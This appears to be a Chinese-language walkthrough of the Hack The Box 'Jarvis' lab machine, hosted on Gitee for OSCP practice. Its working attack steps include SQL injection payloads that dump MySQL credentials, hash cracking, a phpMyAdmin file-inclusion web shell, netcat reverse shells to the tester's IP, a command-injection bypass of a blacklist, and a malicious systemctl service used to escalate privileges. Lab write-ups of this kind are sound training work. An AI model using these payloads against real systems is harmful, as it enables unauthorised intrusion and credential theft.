1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
jarvis.md 5.15 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-06-17 21:00 . 修改文件路径

信息收集

端口扫描

nmap -p- -v -n --open -Pn 10.10.10.143
nmap -p- --min-rate 10000 -v 10.10.10.143
nmap -p 22,80,64999 -sV -A -Pn 10.10.10.143
PORT      STATE SERVICE VERSION
22/tcp    open  ssh?
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).

web

apache2.4.25 php

访问80端口,在页面中发现域名supersecurehotel.htb,配个host

扫描子域名无果

在响应头中发现有IronWAF: 2.0.3

jarvis1

扫目录发现phpmyadmin 4.8.0,版本由响应中的PMA_VERSION值和phpmyadmin/ChangeLog确认

但是4.8.0只找到一个本地文件包含RCE,且需要账号密码。爆破失败。继续回到主页面点点点。

发现订房页面有get传参

jarvis2

通过1+1 1-1判断应该存在数字型sql注入的。继续测试发现存在延时注入(注意右下角时间)

jarvis3

漏洞利用

sql注入

先上sqlmap

sqlmap -u http://10.10.10.143/room.php?cod=0 -dbs

jarvis4

sqlmap -u http://10.10.10.143/room.php?cod=0 -D hotel -T room --columns --level 3

+---------+--------------+ | Column | Type | +---------+--------------+ | cod | int(11) | | descrip | varchar(400) | | image | varchar(40) | | mini | varchar(400) | | name | varchar(35) | | price | int(11) | | star | varchar(350) | +---------+--------------+

没什么东西.延时注入读文件也不好读

手工测试一下,发现联合查询注入就可以,没必要延时。。。。。

room.php?cod=1 order by 8--+

jarvis5

第八列回显不正常,说明只有7列

room.php?cod=0 Union Select 1,user(),3,4,5,6,7--+

这里犯了一个错误,最开始我用code=1 union xxx,页面一直没什么变化,和code=1一模一样。后来才反应过来是存在的结果把union的返回挡住了。

jarvis6

上面sqlmap测试的时候已经知道了hotel库里面应该就是房间的一些信息。所以直接去mysql库里找用户密码

查表

room.php?cod=0 Union Select 1,group_concat(table_name),3,4,5,6,7 From information_schema.tables Where table_schema='mysql' --+

user表里查列

jarvis7

user表查值

room.php?cod=0 Union Select 1,group_concat(User),3,group_concat(Password),5,6,7 From mysql.user--+

jarvis8

再使用john离线破解

john --format=mysql-sha1 --wordlist=/usr/share/wordlists/rockyou.txt jarvis-hash.txt
john --show jarvis-hash.txt

jarvis9

DBadmin 密码imissyou

成功登录phpmyadmin.那么现在我们可以尝试之前找到的phpmyadmin4.8.0 exp

jarvis10

phpmyadmin4.8.0本地文件包含

首先执行一次查询插入php代码

select '<?php system($_GET["cmd"]);?>'

jarvis11

查看自己的sessionid

jarvis12

再包含session文件getshell

访问

supersecurehotel.htb/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_cphdvift7qr50ea29ensvl8vj4nvbjp7&cmd=nc%20-e%20/bin/sh%2010.10.14.6%2080

最开始使用bash反弹还没成功,然后尝试nc反弹

jarvis13

至此获取到www-data权限

systemctl suid提权

上传linux-exploit-suggester后发现有不少可以尝试的exp先放着,实在不行再来。

jarvis14

这个py代码很长,有问题的就是这里

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

过滤的不完善,还可以用$()绕过

jarvis15

本来应该利用这个横向到pepper。

但是find / -perm -u=s -type f 2>/dev/null查找suid对比gtfobins直接有发现

查了一下利用方法

echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "nc -e /bin/bash 10.10.14.8 4444"
[Install]
WantedBy=multi-user.target' > mm.service

#生成的unit名位mm.service
# 再执行如下
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service

按上述本地写个文件再传上去,并移动到/dev/shm/目录

再执行发现无权限。于是重新尝试先横向pepper用户,为了绕过上面python代码中的黑名单,将反弹shell代码写到/tmp/1.sh再通过上述命令注入执行

转到pepper用户后再度尝试suid提权成功

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助